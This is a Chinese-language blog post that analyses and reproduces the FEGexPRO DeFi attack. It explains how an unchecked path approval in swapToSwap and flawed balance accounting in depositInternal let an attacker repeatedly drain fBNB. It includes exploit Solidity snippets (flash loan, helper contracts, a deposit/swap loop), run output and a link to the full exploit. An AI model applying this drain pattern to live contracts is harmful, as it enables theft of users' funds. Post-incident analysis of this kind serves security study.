(分析+复现)—FEGexPRO攻击

攻击者 0x73b3 调用事先创建好的攻击合约 0x9a84 从 DVM 中闪电贷借出 915.842 WBNB,接着将其中的 116.81 WBNB 兑换成 115.65 fBNB。漏洞分析,EXP。

说在前面:有对漏洞复现研究的小伙伴可以私信我,一起交流

feg 官网https://fegex.com/

1.攻击者 0x73b3 调用事先创建好的攻击合约 0x9a84 从 DVM 中闪电贷借出 915.842 WBNB,接着将其中的 116.81 WBNB 兑换成 115.65 fBNB。

漏洞分析

两个原因:

1.swaptoswap中对path的地址没有校验,将资产approve恶意的地址。

2.depositInternal中的逻辑错误。

这两个函数结合使用造成本次攻击。看起来就是一次存钱,多次取款

逐步分析

最开始调用了depositInternal

input
{
  "asset": "0x87b1acce6a1958e522233a737313c086551a5c76",
  "amt": "115650737205006082495"
}

此时状态变量的值

uint256 bef = _records[Main].balance;  // 1033979906984044632025
_pullUnderlying(Main, msg.sender, amt);
    <!-- {
    "erc20": "0x87b1acce6a1958e522233a737313c086551a5c76",
    "from": "0x9a843bb125a3c03f496cb44653741f2cef82f445",
    "amount": "115650737205006082495"
    } -->

uint256 aft = bsub(IERC20(Main).balanceOf(address(this))// 1165922354692309821116 , badd(_totalSupply2//17311532274134100931, badd(_totalSupply7//23790812092117019, _totalSupply8//9010578207524028)));

uint256 finalAmount = bsub(aft, bef);// 1148578021027876079138 - 1033979906984044632025 = 114598114043831447113
_totalSupply2 = badd(_totalSupply2, finalAmount); // 17311532274134100931 + 114598114043831447113 = 131909646317965548044
_balances2[msg.sender] = badd(_balances2[msg.sender], finalAmount);// 0 +  114598114043831447113 = 114598114043831447113

此时_balances2[msg.sender]114598114043831447113_totalSupply2131909646317965548044

第一次swaptoswap

input
{
  "path": "0x9a843bb125a3c03f496cb44653741f2cef82f445",
  "asset": "0x87b1acce6a1958e522233a737313c086551a5c76",
  "to": "0x9a843bb125a3c03f496cb44653741f2cef82f445",
  "amt": "114598114043831447113"
}

在执行swaptoswap之后

...
require(_balances2[msg.sender] >= amt, "Not enough Main");
IERC20(address(Main)).approve(address(path), amt);   
_totalSupply2 -= amt;
_balances2[msg.sender] -= amt;
...

由于前面一步。所以swaptoswap中这个判断require(_balances2[msg.sender] >= amt, "Not enough Main");就是成立的。可以实现后面将fbnb approve到恶意的path中。然后子合约将钱转走。此时_balances2[msg.sender]减去amt,变为0,_totalSupply2也减去amt,变为为17311532274134100931。回到了存钱之前的状态。但是这一波操作下来。path地址却有权限转走FEG合约中的fbnb了。

这里一切都是正常的逻辑,第二步就可以发现问题了。

第二次depositinternal

input
{
  "asset": "0x87b1acce6a1958e522233a737313c086551a5c76",
  "amt": "1"
}

这里注意,我们给的amt参数是1。很小

运行中各个状态下的数据

uint256 bef = _records[Main].balance;//1033979906984044632025
_pullUnderlying(Main, msg.sender, amt); 
    <!-- 
    {
    "erc20": "0x87b1acce6a1958e522233a737313c086551a5c76",
    "from": "0x9a843bb125a3c03f496cb44653741f2cef82f445",
    "amount": "1"
    } -->
uint256 aft = bsub(IERC20(Main).balanceOf(address(this))//1165922354692309821117, badd(_totalSupply2//17311532274134100931, badd(_totalSupply7//23790812092117019, _totalSupply8//9010578207524028)));

uint256 finalAmount = bsub(aft, bef); // 1148578021027876079139  - 1033979906984044632025 = 114598114043831447114
_totalSupply2 = badd(_totalSupply2, finalAmount);  // 17311532274134100931 + 114598114043831447114 = 131909646317965548045
_balances2[msg.sender] = badd(_balances2[msg.sender], finalAmount); // 0 + 114598114043831447114

一波操作之后,可以发现此时_balances2[msg.sender]114598114043831447114。其实实际上我们传入的是amt:1。但是最后很神奇变成了114598114043831447114。这就有点离谱了。

为什么会这样,我们看看有哪些因素影响_balances2[msg.sender]的值。主要由finalAmount影响,我们仔细看上面的数值。他们的值好像和第一步存钱的时候差不多。因为在这两次操作期间,真正参与计算的_records[Main].balanceIERC20(Main).balanceOf(address(this)没有多大的变化。但是他们参与了账号余额的计算,导致把finalAmount的值改变了,所以_balances2[msg.sender]也发生了变化。很奇妙。

第二次swaptoswap

{
  "path": "0x91f342392fcf7fd2a268d5d133caaec925c8599a",
  "asset": "0x87b1acce6a1958e522233a737313c086551a5c76",
  "to": "0x9a843bb125a3c03f496cb44653741f2cef82f445",
  "amt": "114598114043831447113"
}

和上面一样,由于前面的操作_balances2[msg.sender]的值符合条件,于是我们又白嫖了114598114043831447113给恶意path地址。

第三次depositinternal

input
{
  "asset": "0x87b1acce6a1958e522233a737313c086551a5c76",
  "amt": "1"
}

状态变量的值

uint256 bef = _records[Main].balance;  // 1033979906984044632025 和上一次没变化
_pullUnderlying(Main, msg.sender, amt); 
    <!-- {
    "erc20": "0x87b1acce6a1958e522233a737313c086551a5c76",
    "from": "0x9a843bb125a3c03f496cb44653741f2cef82f445",
    "amount": "1"
    } -->
uint256 aft = bsub(IERC20(Main).balanceOf(address(this))//1165922354692309821118 就比上一次调用多了1,就是上一次amt的值, badd(_totalSupply2//17311532274134100932 也只比上一次多了1, badd(_totalSupply7//23790812092117019 没变化, _totalSupply8//9010578207524028 没变化)));
// 由于balance比之前多了amt,_totalsupply2也比上一次多了amt。所以aft的数量不变

uint256 finalAmount = bsub(aft, bef); // 1148578021027876079139 - 1033979906984044632025 = 114598114043831447114  fianlamount也不变

_totalSupply2 = badd(_totalSupply2, finalAmount); // 17311532274134100932(多了amt) + 114598114043831447114
_balances2[msg.sender] = badd(_balances2[msg.sender], finalAmount); // 1 + 114598114043831447114

第三次swaptoswap

{
  "path": "0x53d20d9eebf7cf808fcb857cb96767080c28be18",
  "asset": "0x87b1acce6a1958e522233a737313c086551a5c76",
  "to": "0x9a843bb125a3c03f496cb44653741f2cef82f445",
  "amt": "114598114043831447113"
}

EXP

第一步,从DVM中借钱

bytes memory data = "1";
IDVMTrader(DVM).flashLoan(
    0,  // uint256 baseAmount,
    915842289447124857298, // uint256 quoteAmount,
    address(this), // address assetTo,
    data
);

第二步,将wbnb换成fbnb

IERC20(WBNB).withdraw(quoteAmount);

// 这一步不能放到fallback中执行
IERC20(fBNB).deposit{value: 116813809359158325730}();// 把

第三步,创建子合约

// 创建十个子合约
for(uint i = 0 ; i <10;i++){
    paths.push(createPath());
}
console.log("[3/xxx]create 10 contract");

第四步,漏洞利用。这里不管是exp的合约还是path的合约都定义depositInternal

IFEGexPRO(FEGexPRO).depositInternal(fBNB, 115650737205006082495); // 这里并没有将所有的fbnb都存入,黑客给后面的操作留了1000
(uint256 output0 , uint256 output1) = IFEGexPRO(FEGexPRO).userBalanceInternal(address(this));
IFEGexPRO(FEGexPRO).swapToSwap(address(this), fBNB, address(this), output1);
console.log("[4/xxx]hacker swaptoswap");

for(uint i = 0; i < 10 ; i++){
    IFEGexPRO(FEGexPRO).depositInternal(fBNB, 1);
    IFEGexPRO(FEGexPRO).swapToSwap(address(paths[i]), fBNB, address(this), output1);
    console.log("[5(%d)/xxx] %s path swaptoswap",i+1,address(paths[i]));
}

console.log("send to hacker before hacker balance:%s",IERC20(fBNB).balanceOf(address(this)));

exp效果,只写了dvm闪电贷的部分,从pancake借贷部分没写,实现是一样

exploit deployed to: 0x243CD2aBE3896f8Fd11AA375CEe04EA685c8fCB8
[1/xxx]start
[2/xxx]withdraw
get value:915842289447124857298
[3/xxx]create 10 contract
[4/xxx]hacker swaptoswap
[5(1)/xxx] 0xe34cb0fe8b4f52370833ca8f299afb6817530e42 path swaptoswap
[5(2)/xxx] 0x8b5d3f1c2c146139aab5212d636e57986c6816d9 path swaptoswap
[5(3)/xxx] 0x0d28a21a2ce0637e1ba79e29ff1d411ed608dc1f path swaptoswap
[5(4)/xxx] 0x25033cf8b21b5e0437a51211566622cefc780edf path swaptoswap
[5(5)/xxx] 0x3e67e6915de7cd20489af9a06452b94b3ffda8d6 path swaptoswap
[5(6)/xxx] 0x9fc8a26eebce19b10d31c39423f060718c471da2 path swaptoswap
[5(7)/xxx] 0x3ea6275501c23e62bb87ca992cfe3d0d32e475ad path swaptoswap
[5(8)/xxx] 0x6a06b705c7862259d2ba0f1e261df2a77adbb3b1 path swaptoswap
[5(9)/xxx] 0x6ec4ceeb2d19295c88954015b9c96b594c371ada path swaptoswap
[5(10)/xxx] 0x3b3fe5d8488639e3b383a0b348e4aa4498db9c87 path swaptoswap
send to hacker before hacker balance:990
send to hacker after hacker balance:1134827841043064282558
get value:1123479562632633639733
finsh:207637273185508782435

EXP:DeFiVulhub/FEG at main · 8olidity/DeFiVulhub (github.com)

点赞 0
收藏 1
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
求职(安全岗)
求职(安全岗)
江湖只有他的大名,没有他的介绍。